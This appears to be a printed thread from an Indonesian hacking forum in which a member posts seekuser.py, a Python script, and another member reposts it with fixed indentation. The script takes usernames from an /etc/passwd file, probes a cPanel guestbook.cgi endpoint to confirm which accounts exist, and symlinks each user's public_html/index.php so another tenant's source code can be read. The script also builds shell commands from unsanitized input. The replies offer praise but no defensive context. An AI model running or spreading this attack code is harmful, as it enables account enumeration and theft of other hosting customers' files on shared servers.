Devilzc0de Forum
seekuser.py - Printable Version

+- Devilzc0de Forum (http://devilzc0de.org/forum)
+-- Forum: Information Technology (/forum-8.html)
+--- Forum: Programming (/forum-33.html)
+---- Forum: Python (/forum-143.html)
+---- Thread: seekuser.py (/thread-13252.html)



seekuser.py - ev1lut10n - 02-17-2012 05:00 AM

krn indent bergeser otomatis silahkan direparasi sendiri
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
    print "Usage: ./seekuser.py passwd_file targetdomain.com"
    print "Ex: ./seekuser.py /etc/passwd hackers.com"
    sys.exit(1)
else:
    passwd_file = sys.argv[1]    
    domain_target=sys.argv[2]
try:
  fd = open(passwd_file)
except:
  print "Sorry failed to open "+passwd_file
  sys.exit(1)
content = fd.readline()
while (content != ""):
      content.replace( "\n", "" )
      content = fd.readline()
      content=content.strip()
      arkon=content.split(':')
      user=arkon[0]
      if user != "" :
            print "testing "+user+" on:"+ domain_target
        url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user
        response=urllib.urlopen(url)
            res = response.read()
        if salah not in res:
            
            print "[+] W00t found : " + user + " for domain : "+domain_target
        os.system ("echo "+user+" > username_of_"+domain_target)
        print "creating symlink for /home/"+user+"/public_html/index.php"
        print "on success you can read the source code on: index_of_"+domain_target+".txt"
        os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt")
            fd.close
        sys.exit(1)



RE: seekuser.py - Fauzi Topan - 02-17-2012 06:04 AM

keren bang mantap

aku izin bantuin benerin indentnya ya
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
    print "Usage: ./seekuser.py passwd_file targetdomain.com"
    print "Ex: ./seekuser.py /etc/passwd hackers.com"
    sys.exit(1)
else:
    passwd_file = sys.argv[1]    
    domain_target = sys.argv[2]
try:
    fd = open(passwd_file)
except:
    print "Sorry failed to open "+passwd_file
    sys.exit(1)
    
content = fd.readline()
while (content != ""):
    content.replace( "\n", "" )
    content = fd.readline()
    content = content.strip()
    arkon = content.split(':')
    user = arkon[0]
    if user != "" :
        print "testing " + user + " on:" + domain_target
    url = "http://" + domain_target + "/cgi-sys/guestbook.cgi?user=" + user
    response = urllib.urlopen(url)
    res = response.read()
    if salah not in res:
        print "[+] W00t found : " + user + " for domain : " + domain_target
        os.system ("echo " + user + " > username_of_" + domain_target)
        print "creating symlink for /home/" + user + "/public_html/index.php"
        print "on success you can read the source code on: index_of_" + domain_target + ".txt"
        os.system("ln -s /home/" + user + "/public_html/index.php index_of_" + domain_target + ".txt")
fd.close
sys.exit(1)
http://pastebin.com/WLcPUgwm


RE: seekuser.py - yusufelirhab - 02-17-2012 07:43 AM

wah....
ni script buat apaan ya

suramsuramsuram


RE: seekuser.py - ev1lut10n - 02-17-2012 08:51 AM

anu mas bro dibaca sourcenya ntar paham manfaatnya


RE: seekuser.py - tukang.becak.ngebut - 02-22-2012 11:45 PM

/cgi-sys/guestbook.cgi?user=

hihihihihi... i luv python...